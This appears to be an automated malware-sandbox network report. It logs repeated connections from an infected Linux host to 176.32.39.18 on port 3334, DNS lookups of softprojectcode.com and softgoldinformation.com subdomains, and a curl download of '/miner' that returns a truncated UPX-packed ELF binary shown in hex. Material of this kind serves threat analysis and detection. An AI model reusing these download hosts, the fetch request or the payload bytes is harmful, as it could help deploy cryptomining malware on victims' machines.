Mar 8, 2025 11:42:03.740982056 CET	3334	48900	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:05.472719908 CET	3334	48900	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:05.473922968 CET	48900	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:05.476847887 CET	48900	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:05.482274055 CET	3334	48900	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:10.747628927 CET	45188	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:10.755589008 CET	53	45188	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:10.755861044 CET	45188	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:10.756035089 CET	45188	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:10.761182070 CET	53	45188	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:11.235151052 CET	53	45188	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:11.235690117 CET	45188	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:11.243390083 CET	48904	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:11.248905897 CET	3334	48904	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:11.249100924 CET	48904	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:11.251138926 CET	48904	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:11.256550074 CET	3334	48904	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:13.008476973 CET	3334	48904	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:13.009733915 CET	48904	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:13.013282061 CET	48904	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:13.018626928 CET	3334	48904	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:13.236424923 CET	53	45188	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:13.237026930 CET	45188	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:13.242300034 CET	53	45188	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:18.740946054 CET	48906	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:18.746354103 CET	3334	48906	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:18.746614933 CET	48906	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:18.748943090 CET	48906	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:18.754403114 CET	3334	48906	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:20.487616062 CET	3334	48906	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:20.489465952 CET	48906	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:20.491462946 CET	48906	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:20.496506929 CET	3334	48906	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:25.745759964 CET	48908	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:25.751405001 CET	3334	48908	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:25.751656055 CET	48908	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:25.753081083 CET	48908	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:25.758783102 CET	3334	48908	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:27.488815069 CET	3334	48908	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:27.491118908 CET	48908	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:27.496278048 CET	3334	48908	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:32.753885031 CET	48910	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:32.762140989 CET	3334	48910	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:32.762559891 CET	48910	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:32.765266895 CET	48910	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:32.773401022 CET	3334	48910	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:34.507195950 CET	3334	48910	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:34.508797884 CET	48910	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:34.510648966 CET	48910	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:34.515902996 CET	3334	48910	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:39.758855104 CET	48912	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:39.764502048 CET	3334	48912	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:39.764780998 CET	48912	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:39.766036987 CET	48912	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:39.771650076 CET	3334	48912	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:41.508438110 CET	3334	48912	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:41.510823011 CET	48912	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:41.515990019 CET	3334	48912	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:46.780613899 CET	45200	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:46.786009073 CET	53	45200	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:46.786293983 CET	45200	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:46.786588907 CET	45200	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:46.791708946 CET	53	45200	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:47.271891117 CET	53	45200	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:47.272175074 CET	45200	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:47.277493954 CET	48916	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:47.286024094 CET	3334	48916	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:47.286124945 CET	48916	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:47.287573099 CET	48916	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:47.293340921 CET	3334	48916	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:49.018973112 CET	3334	48916	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:49.020267963 CET	48916	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:49.023453951 CET	48916	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:49.028719902 CET	3334	48916	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:49.265585899 CET	53	45200	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:49.266222000 CET	45200	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:42:49.271502018 CET	53	45200	8.8.8.8	192.168.2.14
Mar 8, 2025 11:42:54.775726080 CET	48918	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:54.781625986 CET	3334	48918	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:54.781883001 CET	48918	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:54.783534050 CET	48918	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:54.789237976 CET	3334	48918	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:56.534636974 CET	3334	48918	176.32.39.18	192.168.2.14
Mar 8, 2025 11:42:56.535907984 CET	48918	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:56.537735939 CET	48918	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:42:56.542891979 CET	3334	48918	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:01.781471014 CET	48920	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:01.786772966 CET	3334	48920	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:01.786914110 CET	48920	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:01.788476944 CET	48920	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:01.793546915 CET	3334	48920	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:03.518799067 CET	3334	48920	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:03.519525051 CET	48920	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:03.521078110 CET	48920	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:03.526251078 CET	3334	48920	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:08.787389994 CET	48922	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:08.792577028 CET	3334	48922	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:08.792674065 CET	48922	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:08.794259071 CET	48922	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:08.799309969 CET	3334	48922	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:10.536649942 CET	3334	48922	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:10.538674116 CET	48922	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:10.543800116 CET	3334	48922	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:15.794533014 CET	48924	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:15.799685955 CET	3334	48924	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:15.799797058 CET	48924	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:15.801049948 CET	48924	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:15.806041956 CET	3334	48924	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:17.535001040 CET	3334	48924	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:17.538494110 CET	48924	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:17.543740034 CET	3334	48924	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:22.814493895 CET	45212	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:22.819713116 CET	53	45212	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:22.819808960 CET	45212	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:22.819845915 CET	45212	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:22.824865103 CET	53	45212	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:23.293486118 CET	53	45212	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:23.293762922 CET	45212	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:23.298926115 CET	48928	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:23.304061890 CET	3334	48928	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:23.304274082 CET	48928	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:23.305751085 CET	48928	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:23.310904980 CET	3334	48928	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:25.052010059 CET	3334	48928	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:25.054630041 CET	48928	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:25.055567980 CET	48928	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:25.060683012 CET	3334	48928	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:25.280060053 CET	53	45212	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:25.280802965 CET	45212	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:25.286079884 CET	53	45212	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:30.809325933 CET	48930	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:30.814595938 CET	3334	48930	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:30.814709902 CET	48930	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:30.817049026 CET	48930	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:30.823628902 CET	3334	48930	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:32.553518057 CET	3334	48930	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:32.554450989 CET	48930	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:32.557460070 CET	48930	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:32.564486980 CET	3334	48930	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:37.816451073 CET	48932	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:37.821748972 CET	3334	48932	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:37.821871042 CET	48932	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:37.823795080 CET	48932	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:37.829008102 CET	3334	48932	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:39.436492920 CET	45220	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:39.441768885 CET	53	45220	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:39.441821098 CET	45220	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:39.441862106 CET	45220	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:39.441891909 CET	45220	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:39.446938038 CET	53	45220	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:39.446964025 CET	53	45220	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:39.572216988 CET	3334	48932	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:39.573966980 CET	48932	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:39.574181080 CET	48932	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:39.579443932 CET	3334	48932	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:39.916551113 CET	53	45220	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:39.916656017 CET	45220	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:40.043708086 CET	53	45220	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:40.043762922 CET	45220	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:41.915057898 CET	53	45220	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:41.915406942 CET	45220	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:41.920447111 CET	53	45220	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:44.820451021 CET	48936	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:44.825648069 CET	3334	48936	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:44.825706959 CET	48936	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:44.827095985 CET	48936	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:44.832125902 CET	3334	48936	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:46.567389011 CET	3334	48936	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:46.568795919 CET	48936	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:46.575547934 CET	3334	48936	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:51.826685905 CET	48938	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:51.832443953 CET	3334	48938	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:51.832555056 CET	48938	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:51.833834887 CET	48938	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:51.838926077 CET	3334	48938	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:53.584515095 CET	3334	48938	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:53.585639000 CET	48938	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:53.588701963 CET	48938	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:53.593962908 CET	3334	48938	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:58.844506979 CET	45226	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:58.850665092 CET	53	45226	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:58.850841999 CET	45226	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:58.850841999 CET	45226	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:58.856420040 CET	53	45226	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:59.325165987 CET	53	45226	8.8.8.8	192.168.2.14
Mar 8, 2025 11:43:59.325560093 CET	45226	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:43:59.330249071 CET	48942	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:59.335480928 CET	3334	48942	176.32.39.18	192.168.2.14
Mar 8, 2025 11:43:59.335582972 CET	48942	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:59.336724043 CET	48942	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:43:59.341900110 CET	3334	48942	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:01.067097902 CET	3334	48942	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:01.069189072 CET	48942	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:01.071331978 CET	48942	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:01.076693058 CET	3334	48942	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:01.311079979 CET	53	45226	8.8.8.8	192.168.2.14
Mar 8, 2025 11:44:01.311667919 CET	45226	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:44:01.316966057 CET	53	45226	8.8.8.8	192.168.2.14
Mar 8, 2025 11:44:06.844029903 CET	48944	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:06.850142002 CET	3334	48944	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:06.850219011 CET	48944	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:06.851754904 CET	48944	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:06.857521057 CET	3334	48944	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:08.602535009 CET	3334	48944	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:08.604789019 CET	48944	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:08.604903936 CET	48944	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:08.610364914 CET	3334	48944	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:13.849925041 CET	48946	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:13.855266094 CET	3334	48946	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:13.855393887 CET	48946	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:13.856828928 CET	48946	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:13.861927032 CET	3334	48946	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:15.582920074 CET	3334	48946	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:15.584630013 CET	48946	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:15.585994959 CET	48946	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:15.591166019 CET	3334	48946	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:20.857193947 CET	48948	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:20.862565041 CET	3334	48948	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:20.862668037 CET	48948	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:20.864342928 CET	48948	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:20.869446993 CET	3334	48948	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:22.599555016 CET	3334	48948	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:22.600208998 CET	48948	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:22.602761984 CET	48948	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:22.608099937 CET	3334	48948	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:27.864339113 CET	48950	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:27.869667053 CET	3334	48950	176.32.39.18	192.168.2.14
Mar 8, 2025 11:44:27.869797945 CET	48950	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:27.872020960 CET	48950	3334	192.168.2.14	176.32.39.18
Mar 8, 2025 11:44:27.877125025 CET	3334	48950	176.32.39.18	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 8, 2025 11:40:54.249756098 CET	192.168.2.14	8.8.8.8	0x2023	Standard query (0)	w.softprojectcode.com	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:54.249795914 CET	192.168.2.14	8.8.8.8	0xcd2a	Standard query (0)	w.softprojectcode.com	28	IN (0x0001)	false
Mar 8, 2025 11:40:58.173070908 CET	192.168.2.14	8.8.8.8	0xb208	Standard query (0)	o.softgoldinformation.com	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:58.912472010 CET	192.168.2.14	8.8.8.8	0xfe65	Standard query (0)	o4.softgoldinformation.com	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:58.912556887 CET	192.168.2.14	8.8.8.8	0x87c7	Standard query (0)	o4.softgoldinformation.com	28	IN (0x0001)	false
Mar 8, 2025 11:41:34.717211962 CET	192.168.2.14	8.8.8.8	0xdad6	Standard query (0)	o4.softgoldinformation.com	28	IN (0x0001)	false
Mar 8, 2025 11:42:10.756035089 CET	192.168.2.14	8.8.8.8	0x9430	Standard query (0)	o4.softgoldinformation.com	28	IN (0x0001)	false
Mar 8, 2025 11:42:46.786588907 CET	192.168.2.14	8.8.8.8	0xa259	Standard query (0)	o4.softgoldinformation.com	28	IN (0x0001)	false
Mar 8, 2025 11:43:22.819845915 CET	192.168.2.14	8.8.8.8	0xe59f	Standard query (0)	o4.softgoldinformation.com	28	IN (0x0001)	false
Mar 8, 2025 11:43:39.441862106 CET	192.168.2.14	8.8.8.8	0xdc04	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:43:39.441891909 CET	192.168.2.14	8.8.8.8	0x490	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Mar 8, 2025 11:43:58.850841999 CET	192.168.2.14	8.8.8.8	0x7f06	Standard query (0)	o4.softgoldinformation.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 8, 2025 11:40:54.882683039 CET	8.8.8.8	192.168.2.14	0x2023	No error (0)	w.softprojectcode.com	107.167.34.74	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:54.882683039 CET	8.8.8.8	192.168.2.14	0x2023	No error (0)	w.softprojectcode.com	192.186.12.50	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:54.882683039 CET	8.8.8.8	192.168.2.14	0x2023	No error (0)	w.softprojectcode.com	107.167.34.78	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:54.882683039 CET	8.8.8.8	192.168.2.14	0x2023	No error (0)	w.softprojectcode.com	107.167.42.211	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:54.882683039 CET	8.8.8.8	192.168.2.14	0x2023	No error (0)	w.softprojectcode.com	107.167.42.210	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:54.882683039 CET	8.8.8.8	192.168.2.14	0x2023	No error (0)	w.softprojectcode.com	192.186.12.54	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:58.657582998 CET	8.8.8.8	192.168.2.14	0xb208	No error (0)	o.softgoldinformation.com	176.32.39.18	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:40:59.127222061 CET	8.8.8.8	192.168.2.14	0xfe65	No error (0)	o4.softgoldinformation.com	176.32.39.18	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:43:40.043708086 CET	8.8.8.8	192.168.2.14	0xdc04	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false
Mar 8, 2025 11:43:40.043708086 CET	8.8.8.8	192.168.2.14	0xdc04	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

w.softprojectcode.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	50336	107.167.34.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 8, 2025 11:40:54.903470039 CET	102	OUT	GET /miner HTTP/1.1 Host: w.softprojectcode.com User-Agent: curl/7.68.0 Accept: /
Mar 8, 2025 11:40:55.487853050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Mar 2025 10:40:55 GMT Content-Type: application/octet-stream Content-Length: 1827416 Last-Modified: Tue, 21 May 2024 14:48:02 GMT Connection: keep-alive ETag: "664cb422-1be258" Accept-Ranges: bytes Data Raw: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 02 00 3e 00 01 00 00 00 90 d0 5b 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 38 00 02 00 40 00 00 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 cd e1 1b 00 00 00 00 00 cd e1 1b 00 00 00 00 00 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 60 fb 0c 00 00 00 00 00 60 fb ac 00 00 00 00 00 60 fb ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 29 5d f5 f7 55 50 58 21 4c 11 0d 16 00 00 00 00 c8 d0 4b 00 c8 d0 4b 00 58 01 00 00 6b 00 00 00 0e 00 00 00 1a 03 00 3f 91 45 84 68 3d 89 a6 da 8a cc 93 e2 4e d9 06 b7 b9 e2 8b 65 e1 a7 e4 55 9b b4 84 de f6 62 6f a5 47 ae 8a b3 79 a0 a2 24 03 c8 1a 70 4c c4 3a 72 7a 33 91 18 d8 ac d6 88 bd ec 7b 77 c0 f6 a7 ee f7 a9 e6 a8 60 d9 0d 1a 85 41 05 bf 68 c3 f0 c5 54 d3 4e 46 25 c1 dd 46 4d d0 25 6a 0b dd ac c6 be 6b d2 3e 68 23 72 15 4f 48 00 f2 52 1b 00 0e 00 00 00 1a 03 00 28 3a 0e 4d [TRUNCATED] Data Ascii: ELF>[@@8@@@ ``` )]UPX!LKKXk?Eh=NeUboGy$pL:rz3{w`AhTNF%FM%jk>h#rOHR(:M1@7NJ.m'>JT[[f=.NO()vS_#;dq27}pDoB"NZ~}l:O&HJ.5NQQ>Jt^petqd},7ETlm.Q"2x}XvER(Nt9Du"T13=7FWfBajFy'RX,Xr,%Fu:5!kPdqQ&/VGkb>lq4l~Jp[{q;40i!$jDb&<.aKS 3j6Z,Zr^qHiFD/0HoL]:V+K]X/?07[X1m<$IOFoI^setl#cL}v?NgTIkUg],O)?2K^I3-)\yaR]4\>wE
Mar 8, 2025 11:40:55.487904072 CET	1236	IN	Data Raw: 8a 78 62 e7 8c 98 05 ae 7a 5b 0b 27 34 e2 f4 31 ba 1e 71 b8 45 dc 90 24 f9 cd d5 67 14 ee 81 6b 41 74 83 1f d1 73 32 1a 81 b7 21 4e 5b 68 7e d3 a0 12 9c b6 b3 bb 3e f8 d1 27 9a 09 2d 6e 33 80 3e aa 63 d1 4f 10 60 c4 7f c5 b3 76 90 07 ed 1f 77 b4 Data Ascii: xbz['41qE$gkAts2!N[h~>'-n3>cO`vw}Xv=cO6:Gl{rx0w9}/3p?Z<TCu?DU~zrTE(`N?}S'ej0!dJUN'
Mar 8, 2025 11:40:55.487940073 CET	1236	IN	Data Raw: 42 fe 84 15 a9 12 0a c7 15 48 06 3c e7 1f 74 32 19 db 6b 03 61 4f 3f 8d 38 9c c5 86 de 44 c7 ba 1b 14 9d c0 60 73 96 45 96 f5 c0 2a a8 79 32 ce 7b b9 1d bb f7 a4 9a ab 08 39 d3 83 e5 8b 53 81 b9 7a 88 0d c9 bd 30 dc f7 06 17 ca 6b 5b 61 0c f4 10 Data Ascii: BH<t2kaO?8D`sEy2{9Sz0k[a(6MkB-=@"fIzWc"[[m6k%/yQOY{'-&IF+jN9p}'-xVKPD,3{yA*A;~U&
Mar 8, 2025 11:40:55.487974882 CET	720	IN	Data Raw: 29 cf 3d 3e 24 cd d8 78 69 e8 42 4f ea 5e 29 09 f5 b4 c3 ff 4f 49 de bb f9 f6 ad 9e 72 4f 18 55 40 85 d9 6e 2e 86 d2 6a 6b 98 b2 88 63 81 c0 d3 34 ca bf 3d 86 be de 92 c7 48 ab 95 4c 4f 2e a5 4e e8 8a 41 9e 31 62 8f 17 98 6a 53 1a bb e2 c6 1b cf Data Ascii: )=>$xiBO^)OIrOU@n.jkc4=HLO.NA1bjSFDN1oZ\l=8QMu#^YGmVmuit,O,a=\|Vso\002Zc]A\|=$rmcA;ZeBM.l#1!Jl\|t%
Mar 8, 2025 11:40:55.488008976 CET	1236	IN	Data Raw: c4 39 75 a7 7e b7 12 01 4a 15 dd e6 42 49 0b c1 5c 68 f0 7e 70 ed a4 29 4e 7d e0 97 b7 77 dc f3 5e 91 c8 54 5b ef ba 73 20 51 c0 93 a1 b1 9b a9 f6 8f a4 ea 55 5d 76 22 22 66 09 31 e3 1a 73 fb 73 a7 be 8b ed f3 b7 99 5d cc 27 08 ee db ec bc dd c7 Data Ascii: 9u~JBI\h~p)N}w^T[s QU]v""f1ss]'H0^Vv6[*d/hJ{?us+(i^Jy+83y<-oG;Ugorb4QoyN82fab0`KKKx{tZQR5'7wsfS<]%k@
